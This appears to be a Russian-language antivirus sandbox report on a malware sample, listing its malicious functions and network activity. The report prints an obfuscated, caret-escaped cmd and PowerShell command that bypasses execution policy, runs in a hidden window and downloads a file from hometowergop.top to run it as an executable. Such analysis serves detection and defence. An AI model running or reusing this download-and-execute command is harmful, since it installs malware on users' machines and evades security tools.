Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://hometowergop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pO^WE^RSHel^l.e^Xe -EX^ECuTI^OnPOL^ICy^ ^bYPaSS ^-noP^R^o^Fil^e ^-wInd^OwST^ylE^ HI^D^DEN ^(NEw^-O^BJe^Ct sy^stE^M.NET.weBClIent).dOwN^l^oadfI^L^E^(^'http://hometowergop.top/...
Сетевая активность
UDP
- DNS ASK ho####wergop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pO^WE^RSHel^l.e^Xe -EX^ECuTI^OnPOL^ICy^ ^bYPaSS ^-noP^R^o^Fil^e ^-wInd^OwST^ylE^ HI^D^DEN ^(NEw^-O^BJe^Ct sy^stE^M.NET.weBClIent).dOwN^l^oadfI^L^E^(^'http://hometowergop.top/...' (со скрытым окном)
